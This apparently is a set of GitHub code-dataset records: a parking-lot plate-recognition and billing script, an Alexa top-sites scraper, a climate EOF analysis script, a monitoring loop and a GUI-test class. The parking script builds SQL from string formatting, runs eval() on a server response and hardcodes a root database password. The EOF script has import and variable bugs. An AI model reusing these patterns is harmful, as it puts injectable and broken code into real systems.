"Assets.views.SearchEFCCRegView", "line_number": 50, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCView.as_view", "line_number": 51, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCView", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCCreateView.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCCreateView", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCDetailView.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCDetailView", "line_number": 53, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCCreateRegisterView.as_view", "line_number": 54, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCCreateRegisterView", "line_number": 54, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 55, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCRegView.as_view", "line_number": 55, "usage_type": "call"}, {"api_name": "Assets.views.PostEFCCRegView", "line_number": 55, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "Assets.views.SearchICPCView.as_view", "line_number": 56, "usage_type": "call"}, {"api_name": "Assets.views.SearchICPCView", "line_number": 56, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "Assets.views.SearchICPCRegView.as_view", "line_number": 57, "usage_type": "call"}, {"api_name": "Assets.views.SearchICPCRegView", "line_number": 57, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 58, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCView.as_view", "line_number": 58, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCView", "line_number": 58, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 59, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCCreateView.as_view", "line_number": 59, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCCreateView", "line_number": 59, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 60, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCDetailView.as_view", "line_number": 60, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCDetailView", "line_number": 60, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 61, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCCreateRegisterView.as_view", "line_number": 61, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCCreateRegisterView", "line_number": 61, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 62, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCRegView.as_view", "line_number": 62, "usage_type": "call"}, {"api_name": "Assets.views.PostICPCRegView", "line_number": 62, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 63, "usage_type": "call"}, {"api_name": "Assets.views.PostPresidentView.as_view", "line_number": 63, "usage_type": "call"}, {"api_name": "Assets.views.PostPresidentView", "line_number": 63, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 64, "usage_type": "call"}, {"api_name": "Assets.views.PostMinistriesView.as_view", "line_number": 64, "usage_type": "call"}, {"api_name": "Assets.views.PostMinistriesView", "line_number": 64, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 65, "usage_type": "call"}, {"api_name": "Assets.views.PostPoliticalView.as_view", "line_number": 65, "usage_type": "call"}, {"api_name": "Assets.views.PostPoliticalView", "line_number": 65, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 66, "usage_type": "call"}, {"api_name": "Assets.views.PostUncategorizedView.as_view", "line_number": 66, "usage_type": "call"}, {"api_name": "Assets.views.PostUncategorizedView", "line_number": 66, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 67, "usage_type": "call"}, {"api_name": "Assets.views.PostDepView.as_view", "line_number": 67, "usage_type": "call"}, {"api_name": "Assets.views.PostDepView", "line_number": 67, "usage_type": "name"}]}
{"seq_id": "69877343946", "text": "from predict import get_result as gs\nfrom kears_vgg import get_result as gp\nfrom paytime import ShareToPay\nimport numpy as np\nimport datetime\nimport cv2\nimport time\nimport os\nimport json\nimport pymysql\nfrom DBUtils.PooledDB import PooledDB\nimport urllib.request\nimport urllib.parse\nimport pickle\nimport requests\nfrom PIL import Image\nimport numpy as np\n\n\nclass DriveOut(object):\n    def __init__(self):\n        self.__folder_path = 'images'\n        self.__camera = self.camera()\n\n\n    def camera(self):\n        capture = cv2.VideoCapture(0)\n        while True:\n            ret, frame = capture.read()\n            cv2.imshow('frame', frame)\n            k = cv2.waitKey(1) & 0xFF\n            if k == ord('s'):\n                out_time_str = time.strftime('%Y%m%d%H%M%S', time.localtime())\n                car_sign_list = gs(frame)\n                car_sign = \"\".join(car_sign_list)\n                print(car_sign)\n                if car_sign_list == []:\n                    code = 1002\n                    data = \"\"\n                    msg = \"未识别到车辆，请手动录入\"\n                    continue\n                result = self.query_carinfo(car_sign)\n                if result is None:\n                    code = 1003\n                    data = \"\"\n                    msg = \"未检测到该车辆驶入信息\"\n                    continue\n                number_plate = result[0]\n                entry_picture = result[1]\n                entry_time = result[2]\n                car_type = result[3]\n                entry_time_str = entry_time.strftime('%Y%m%d%H%M%S')\n                folder_path = self.__folder_path\n                is_Exists = os.path.exists(folder_path)\n                try:\n                    if not is_Exists:\n                        os.mkdir(folder_path)\n                except Exception as e:\n                    raise e\n                frame_name = 'out' + out_time_str + '.jpg'\n                try:\n                    cv2.imwrite(os.path.join(folder_path, frame_name), frame)\n                except Exception as e:\n                    raise e\n                for dir_path, dir_names, file_names in os.walk(folder_path):\n                    for file_name in file_names:\n                        if file_name == frame_name:\n                            out_file_path = dir_path + '/' + file_name\n                pid = 1\n                charge_standard = self.get_charge_standard(pid, car_type)\n                if not charge_standard:\n                    code = 1004\n                    data = \"\"\n                    msg = \"停车场未建立收费标准\"\n                    continue\n                charge_standard = json.loads(charge_standard)\n                f_time = charge_standard['f_time']\n                s_time = charge_standard['s_time']\n                early_money = charge_standard['early_money']\n                day_money = charge_standard['day_money']\n                night_money = charge_standard['night_money']\n                all_day_money = charge_standard['night_money']\n                per_se_money = charge_standard['per_se_money']\n                result = ShareToPay(entry_time_str, out_time_str, f_time, s_time, early_money, day_money, night_money,\n                                    all_day_money, per_se_money)\n                total_money = result.get_money()[\"total_money\"]\n                print(total_money)\n                uid = 1\n                entry_time = entry_time\n                exit_time = datetime.datetime.strptime(out_time_str, \"%Y%m%d%H%M%S\")\n                total_time = exit_time - entry_time\n                total_time = round(total_time.seconds / 60)\n                total_money = total_money\n                payment_mode_id = 1\n                try:\n                    self.save_record(uid, pid, number_plate, entry_time, exit_time, total_time, total_money, payment_mode_id)\n                except Exception as e:\n                    raise e\n                try:\n                    self.save_record_local(number_plate, entry_time, exit_time, entry_picture, out_file_path, total_time, total_money, car_type)\n                except Exception as e:\n                    raise e\n                try:\n                    self.delete_tem_db(car_sign, entry_time)\n                except Exception as e:\n                    raise e\n\n\n    def get_charge_standard(self, pid, car_type):\n        params = 'pid=%s&car_type=%s' % (pid, car_type)\n        sendurl = 'http://0.0.0.0:8001/api/parkbackend/chargestandard'\n        wp = urllib.request.urlopen(sendurl + \"?\" + params)\n        content = wp.read()\n        str1 = str(content, encoding=\"utf-8\")\n        data = eval(str1)\n        if data['code'] != 1000:\n            return False\n        result_data = data['data']\n        f_time = result_data[0]['start_time']\n        f_time = f_time[0:2] + f_time[3:5] + f_time[6:]\n        s_time = result_data[0]['end_time']\n        s_time = s_time[0:2] + s_time[3:5] + s_time[6:]\n        early_money = float(result_data[0]['night_money'])\n        day_money = float(result_data[0]['day_money'])\n        night_money = float(result_data[0]['night_money'])\n        all_day_money = float(result_data[0]['all_day_money'])\n        per_se_money = result_data[0]['time_unit']\n        data = {}\n        data[\"f_time\"] = f_time\n        data[\"s_time\"] = s_time\n        data[\"early_money\"] = early_money\n        data[\"day_money\"] = day_money\n        data[\"night_money\"] = night_money\n        data[\"all_day_money\"] = all_day_money\n        data[\"per_se_money\"] = per_se_money\n        return json.dumps(data)\n\n\n    def query_carinfo(self, car_sign):\n        db = connect_mysql()\n        cursor = db.cursor()\n        sql = \"select * from temporary_record where number_plate='%s'\" % (car_sign)\n        try:\n            cursor.execute(sql)\n            result = cursor.fetchone()\n        except Exception as e:\n            raise e\n        cursor.close()\n        db.close()\n        return result\n\n    def save_record(self, uid, pid, number_plate, entry_time, exit_time, total_time, total_money, payment_mode_id):\n        data_dict = {\"uid\":uid, \"pid\":pid, \"number_plate\":number_plate, \"entry_time\":entry_time, \"exit_time\":exit_time, \"total_time\":total_time, \"total_money\":total_money, \"payment_mode_id\":payment_mode_id}\n        entry_time_str = entry_time.strftime('%Y%m%d%H%M%S')\n        exit_time_str = exit_time.strftime('%Y%m%d%H%M%S')\n        folder_path = self.__folder_path\n        heads = {'content-type':'application/json;charset=UTF-8'}\n        files = {'file1': ('in' + entry_time_str + '.jpg', open(folder_path+'/'+ 'in' + entry_time_str + '.jpg', 'rb'), 'jpg'),\n                 'file2': ('out' + exit_time_str + '.jpg', open(folder_path + '/' + 'out' + exit_time_str + '.jpg', 'rb'), 'jpg')}\n        sendurl = 'http://0.0.0.0:8001/api/backend/parkingrecord'\n        # requests.post(sendurl, data=data_dict, files=files, headers=heads)\n        requests.post(sendurl, data=data_dict, files=files)\n        return True\n\n    def save_record_local(self, number_plate, entry_time, exit_time, entry_picture, exit_picture, total_time, total_money, car_type):\n        db = connect_mysql()\n        cursor = db.cursor()\n        try:\n            sql = \"insert into parking_record(number_plate, entry_time, exit_time, entry_picture, exit_picture, total_time, total_money, car_type) values ('%s', '%s', '%s', '%s', '%s', %d, %f, %d)\" % (number_plate, entry_time, exit_time, entry_picture, exit_picture, total_time, total_money, car_type)\n            cursor.execute(sql)\n            db.commit()\n        except Exception as e:\n            raise e\n        finally:\n            cursor.close()\n            db.close()\n\n\n    def delete_tem_db(self, car_sign, entry_time):\n        db = connect_mysql()\n        cursor = db.cursor()\n        sql = \"delete from temporary_record where number_plate='%s' and entry_time='%s'\" % (car_sign, entry_time)\n        try:\n            cursor.execute(sql)\n            db.commit()\n        except:\n            db.rollback()\n        cursor.close()\n        db.close()\n        return True\n\n\ndef connect_mysql():\n    pool = PooledDB(pymysql, 5, host='localhost', user='root', passwd='123456', db='uftc_front_db', port=3306,\n                    setsession=['SET AUTOCOMMIT = 1'])\n    try:\n        db = pool.connection()\n    except Exception as err:\n        raise err\n    return db\n\ndef create_parking_record():\n    db = connect_mysql()\n    cursor = db.cursor()\n    sql = \"\"\"create table if not exists parking_record(\n        number_plate VARCHAR(20) NOT NULL,\n        entry_time DATETIME(6) NOT NULL,\n        exit_time DATETIME(6) NOT NULL,\n        entry_picture VARCHAR(100) NOT NULL,\n        exit_picture VARCHAR(100) NOT NULL,\n        total_time INT(11) NOT NULL,\n        total_money DECIMAL(8, 2) NOT NULL,\n        car_type INT(11) NOT NULL)\"\"\"\n    try:\n        cursor.execute(sql)\n        db.commit()\n    except:\n        db.rollback()\n    cursor.close()\n    db.close()\n    return True\n\n\nif __name__ == '__main__':\n    create_parking_record()\n    DriveOut()", "repo_name": "xhyue/shumeipai", "sub_path": "drive_out2.py", "file_name": "drive_out2.py", "file_ext": "py", "file_size_in_byte": 9015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.VideoCapture", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 31, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 33, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 33, "usage_type": "call"}, {"api_name": "predict.get_result", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 65, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 76, "usage_type": "call"}, {"api_name": "paytime.ShareToPay", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "urllib.request.request.urlopen", "line_number": 112, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 112, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 112, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 136, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 162, "usage_type": "call"}, {"api_name": "DBUtils.PooledDB.PooledDB", "line_number": 194, "usage_type": "call"}]}
{"seq_id": "15792015579", "text": "import pycountry\nimport requests\nimport sys\nimport outputResult as output\nfrom bs4 import BeautifulSoup\n\ndef get_country_code(name):\n    for co in list(pycountry.countries):\n        if name in co.name:\n            return co.alpha_2\n    return None\n\ndef country(countryCode = None):\n    r = requests.get(f'https://www.alexa.com/topsites/countries/{countryCode}')\n    siteList = []\n\n    if r.status_code == requests.codes.ok:\n        # 以 BeautifulSoup 解析 HTML 程式碼\n        soup = BeautifulSoup(r.text, 'html.parser')\n    #     print(soup)\n        sites = soup.find_all(class_='td DescriptionCell')\n        for s in sites:\n            siteList.append(s.find('a').text)\n            \n    output.outputResult(siteList[:20])\n\nif __name__ == '__main__':\n    argvNumbers = len(sys.argv)\n    try:\n        if(argvNumbers > 2):\n            raise Exception(\"Sorry, too many parameter\")\n        if (argvNumbers == 2):\n            country(get_country_code(sys.argv[1]))\n        if (argvNumbers == 1):\n            raise Exception(\"Sorry, too less parameter\")\n    except:\n        print(\"An exception occurred\")\n    ", "repo_name": "kevinlin1168/CYRDG-Backend-exercise", "sub_path": "crawler/country.py", "file_name": "country.py", "file_ext": "py", "file_size_in_byte": 1109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pycountry.countries", "line_number": 8, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.codes", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "outputResult.outputResult", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "3936626060", "text": "#Calculo el EOF de precipitacion en SESA\nimport cartopy.crs as ccrs\nimport cartopy.feature\nimport matplotlib.path as mpath\nimport os\nimport glob\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport xarray as xr\nimport cartopy.crs as ccrs\nfrom cartopy.util import add_cyclic_point\nimport math\nfrom eofs.xarray import Eof\nimport logging\nimport utilities.funciones\nimport os, fnmatch\n\n#----------------------------------------------------------------\n#Funciones-------------------------------------------------------\n#Anomalias \ndef anomalias(datos,scenarios,models):\n    pr_hist = {}; pr_ssp = {}\n    for model in models:\n        precip = datos[scenarios[0]][model]['1940-1969'][0]\n        pr = precip.pr\n        pr.attrs = precip.pr.attrs\n        climatology = pr.groupby('time.month').mean('time')\n        pr_anom = pr.groupby('time.month') - climatology\n        pr =  pr.sel(lat=slice(-16,-39)).sel(lon=slice(296,329))\n        lat = pr.lat\n        lon = pr.lon\n        time = precip.time\n\n        prDJF = pr.sel(time=pr['time.season']=='DJF')\n        pr_hist[model] = []\n        pr_hist[model].append(prDJF)\n    for model in models:\n        precip = datos[scenarios[1]][model]['2070-2099'][0]\n        pr = precip.pr\n        pr.attrs = precip.pr.attrs\n        climatology = pr.groupby('time.month').mean('time')\n        pr_anom = pr.groupby('time.month') - climatology\n        pr =  pr.sel(lat=slice(-16,-39)).sel(lon=slice(296,329))\n        lat = pr.lat\n        lon = pr.lon\n        time = precip.time\n\n        prDJF = pr.sel(time=pr['time.season']=='DJF')\n        pr_ssp[model] = []\n        pr_ssp[model].append(prDJF)\n\n    return pr_hist, pr_ssp\n\ndef eof_solver(data):\n    # Create an EOF solver to do the EOF analysis. Square-root of cosine of\n    # latitude weights are applied before the computation of EOFs.\n    coslat = np.cos(np.deg2rad(data['lat'].values))\n    coslat[0]=0\n    coslat[len(data['lat'])-1] = 0\n    wgts = np.sqrt(coslat)[..., np.newaxis]\n\n    #Calculo componente principal   \n    solver = Eof(data, weights=wgts)\n    # Retrieve the leading EOF, expressed as the correlation between the leading\n    # PC time series and the input anomalies at each grid point, and the\n    # leading PC time series itself.\n    eof1 = solver.eofsAsCorrelation(neofs=2)\n    pc1 = solver.pcs(npcs=2, pcscaling=1)\n\n    return eof1, pc1\n\ndef eof_solver_manual(dato):\n    #Create an EOF solver through SVD. Square-root of cosine of\n    # latitude weights are applied before the computation of EOFs.\n    M = np.zeros([int(len(dato.lat)*len(dato.lon)), len(dato.time)])\n    cont = 0\n    for i in range(len(dato.lat)):\n        for j in range(len(dato.lon)):\n            if (dato.lat[i].values == 0) or (dato.lat[i].values == 90):\n                coslat = 0\n                time_evolution_ij = np.nan_to_num(dato.tos.values[:,i,j],0) \n                M[cont] =  signal.detrend(time_evolution_ij) * np.sqrt(coslat)\n                cont += 1\n            else:\n                coslat = np.cos(np.deg2rad(dato.lat[i].values))\n                time_evolution_ij = np.nan_to_num(dato.tos.values[:,i,j],0) \n                M[cont] =  signal.detrend(time_evolution_ij) * np.sqrt(coslat)\n                cont += 1\n\n    N = M.T\n    U, s, VT = np.linalg.svd(N)\n    S = np.zeros((N.shape[0], N.shape[1]))\n    S[:N.shape[0], :N.shape[0]] = np.diag(s)\n    PC = U.dot(S)\n    return VT, PC\n\n\ndef VT_to_EOF_pattern(data,vt,n):\n    eof_pattern = np.zeros((len(data.lat),len(data.lon)))\n    cont = 0\n    for i in range(len(data.lat)):\n        for j in range(len(data.lon)):\n            eof_pattern[i,j] = vt[n-1,cont]\n            cont += 1\n\n    return eof_pattern\n\n\ndef main():\n    logging.basicConfig(filename='rainfall_EOF1.log', level=logging.INFO)\n    logging.info('Empieza el programa')\n    #Data paths\n    path = '/datos/julia.mindlin/CMIP6_ensambles/preprocesados'\n    path_rean = '/datos/ERA5/mon'\n    #Output figure paths\n    path_fig = '/home/julia.mindlin/Tesis/Capitulo3/Figuras/EOFs_SSTs'\n    #Open datasets\n    modelos = [\n        'ACCESS-CM2', 'ACCESS-ESM1-5', 'BCC-CSM2-MR', 'CAMS-CSM1-0','CanESM5',          'CESM2_', 'CESM2-WACCM','CMCC-CM2-SR5','CNRM-CM6-1',\n        'CNRM-ESM2-1','EC-Earth3', 'FGOALS-g3', 'GFDL-ESM4',\n        'HadGEM3-GC31-LL','HadGEM3-GC31-MM','INM-CM4-8','INM-CM5-0',\n        'KACE-1-0-G','MIROC6','MIROC-ES2L', 'MPI-ESM1-2-HR',\n        'MPI-ESM1-2-LR','MRI-ESM2-0', 'NESM3', 'NorESM2-LM', 'NorESM2-MM',\n        'UKESM1-0-LL'\n        ]\n    var = 'mon/pr'\n    scenarios = ['historical','ssp585']\n    variables = ['pr']\n    dato = funciones.cargo_todo(scenarios,modelos,path,var)\n    \n    pr_hist, pr_ssp = anomalias(dato,scenarios,modelos)\n    logging.info('Calcule anomalias')\n    for model in modelos:\n        #eof1 = eof_solver(pr_hist[model][0])\n        dato = pr_hist[model][0]\n        eofs_VT, eofs_PC = eof_solver_manual(dato)\n        eof1 = VT_to_EOF_pattern(dato,eofs_VT,1); pc1 = eofs_PC.T[0][:]\n        eof2 = VT_to_EOF_pattern(dato,eofs_VT,2); pc2 = eofs_PC.T[1][:]\n        eof3 = VT_to_EOF_pattern(dato,eofs_VT,3); pc3 = eofs_PC.T[2][:]\n        logging.info('Calcule bien el EOF1')\n        levels = np.arange(-2,2,.1); alevels = np.arange(-.5,.6,.1)\n        figure = plot_eofs(eof1,eof2,eof3,model,dato.lon,dato.lat,levels,levels,'RdBu_r')\n        plt.savefig(path_fig+'/SST_eofs_'+model+'.png',bbox_inches='tight')\n        plt.close('all')\n\n\nif __name__ == '__main__':\n    main()\n\n", "repo_name": "jumin94/eof_sst_analysis", "sub_path": "utilities/.ipynb_checkpoints/sst_EOF-checkpoint.py", "file_name": "sst_EOF-checkpoint.py", "file_ext": "py", "file_size_in_byte": 5452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.cos", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 62, "usage_type": "attribute"}, {"api_name": "eofs.xarray.Eof", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg.svd", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 112, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 112, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 113, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 134, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}]}
{"seq_id": "31508854372", "text": "# Optimiert 30.03.23\nimport time\nimport sys\nimport subprocess\nimport logging\nimport os\nimport shutil\nfrom einsatz_monitor_modules import database_class\nfrom subprocess import DEVNULL\n\n\n\n\ndatabase = database_class.Database()\n\nif getattr(sys, 'frozen', False):\n    basedir = sys._MEIPASS\nelse:\n    basedir = os.path.join(os.path.dirname(__file__), \"..\")\n\npython_path = os.path.join(basedir, \"EinsatzHandler_venv\", \"Scripts\", \"python.exe\")\neinsatz_process = os.path.join(basedir, \"einsatz_process.py\")\n\n# Logging\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nfile_handler = logging.FileHandler(os.path.join(basedir, \"logs\", \"logfile_main.txt\"), encoding=\"utf-8\")\nfile_handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(message)s'))\nlogger.addHandler(file_handler)\n\ndef check_website_availability():\n    try:\n        url = database.select_config(\"url_wachendisplay\").split(\"/\")\n        eingabe = url[2].split(\":\")\n        response = subprocess.call([\"ping\", \"-n\", \"1\", eingabe[0]], stdout=DEVNULL)\n        database.update_aktiv_flag(\"wachendisplay\", \"1\" if response == 0 else \"0\")\n    except:\n        logger.debug(\"Monitoring Error: URL Wachendisplay\")\n\n\ndef check_evaluation_server():\n    try:\n        response = subprocess.call([\"ping\", \"-n\", \"1\", \"28016.whserv.de\"], stdout=DEVNULL)\n        database.update_aktiv_flag(\"alarm_server\", \"1\" if response == 0 else \"0\")\n    except:\n        logger.debug(\"Monitoring Error: Auswerteserver\")\n\ndef check_test_mode():\n    database.update_aktiv_flag(\"testmode\", \"1\" if database.select_config(\"testmode\") == \"True\" else \"0\")\n\ndef check_evaluation_status_and_reset():\n    try:\n        status = database.select_aktiv_flag(\"auswertung\")\n        if status == 2:\n            # Lösche alle Dateien im Ordner tmp\n            tmp_folder = os.path.abspath(os.path.join(basedir, \"tmp\"))\n            for filename in os.listdir(tmp_folder):\n                file_path = os.path.join(tmp_folder, filename)\n                try:\n                    if os.path.isfile(file_path) or os.path.islink(file_path):\n                        os.unlink(file_path)\n                    elif os.path.isdir(file_path):\n                        shutil.rmtree(file_path)\n                except Exception as e:\n                    logger.error(f\"Failed to delete {file_path}. Reason: {e}\")\n\n            # Setze den Status auf 0\n            database.update_aktiv_flag(\"auswertung\", \"0\")\n\n            # Warte 10 Sekunden\n            time.sleep(10)\n\n            # Setze den Status zurück auf 1\n            database.update_aktiv_flag(\"auswertung\", \"1\")\n            subprocess.Popen([python_path, einsatz_process])\n\n    except Exception as e:\n        logger.error(f\"Error in check_evaluation_status_and_reset: {e}\")\n\n\nwhile True:\n    check_website_availability()\n    check_evaluation_server()\n    check_test_mode()\n    check_evaluation_status_and_reset()\n    time.sleep(3)", "repo_name": "budofighter/einsatz_monitor", "sub_path": "bin/monitoring_process.py", "file_name": "monitoring_process.py", "file_ext": "py", "file_size_in_byte": 2909, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "einsatz_monitor_modules.database_class.Database", "line_number": 14, "usage_type": "call"}, {"api_name": "einsatz_monitor_modules.database_class", "line_number": 14, "usage_type": "name"}, {"api_name": "sys._MEIPASS", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 26, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 28, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 35, "usage_type": "call"}, {"api_name": "subprocess.DEVNULL", "line_number": 35, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 43, "usage_type": "call"}, {"api_name": "subprocess.DEVNULL", "line_number": 43, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.islink", "line_number": 60, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 63, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 75, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "4857967245", "text": "# -*- coding: utf-8 -*-\nimport test\nimport testData\nimport object\nimport objectMap\nimport os, time\nimport squishinfo\nimport squish\n\nfrom stat import ST_MTIME\nfrom time import strftime\nfrom tables import Tables\nfrom config import Config\n\nclass ExportAllFileDialog(Tables):\n    \n    def __init__(self):\n        version = Config().version\n        self.object_symbol =                    \":Bloodhound™ Viewing Station \" + version + \"_FileDialog\"\n        self.save_as_table_symbol =             \":Bloodhound™ Viewing Station \" + version + \".Save As:_JTable\"\n        self.save_as_label_symbol =             \":Bloodhound™ Viewing Station \" + version + \".Save As:_JLabel\"\n        self.where_label_symbol =               \":Bloodhound™ Viewing Station \" + version + \".Where:_JLabel\"\n        self.file_name_text_symbol =            \":Bloodhound™ Viewing Station \" + version + \".Save As:_JTextField\"\n        self.up_arrow_button_symbol =           \":Bloodhound™ Viewing Station \" + version + \".↑_JButton\"\n        self.down_arrow_button_symbol =         \":Bloodhound™ Viewing Station \" + version + \".↓_JButton\"\n        self.filter_selector_combo_box_symbol = \":Bloodhound™ Viewing Station \" + version + \".Files of type:_JComboBox\"\n        self.where_combo_box_symbol =           \":Bloodhound™ Viewing Station \" + version + \".Where:_JComboBox\"\n        self.export_button_symbol =             \":Bloodhound™ Viewing Station \" + version + \".Export_JButton\"\n        self.export_current_symbol =            \":Archives.Export Current_JButton\"\n        self.safely_remove_checkbox =           \":Bloodhound™ Viewing Station \" + version + \".Safely remove “Untitled” after export_JCheckBox\"\n        self.plus_button_symbol =               \":Bloodhound™ Viewing Station 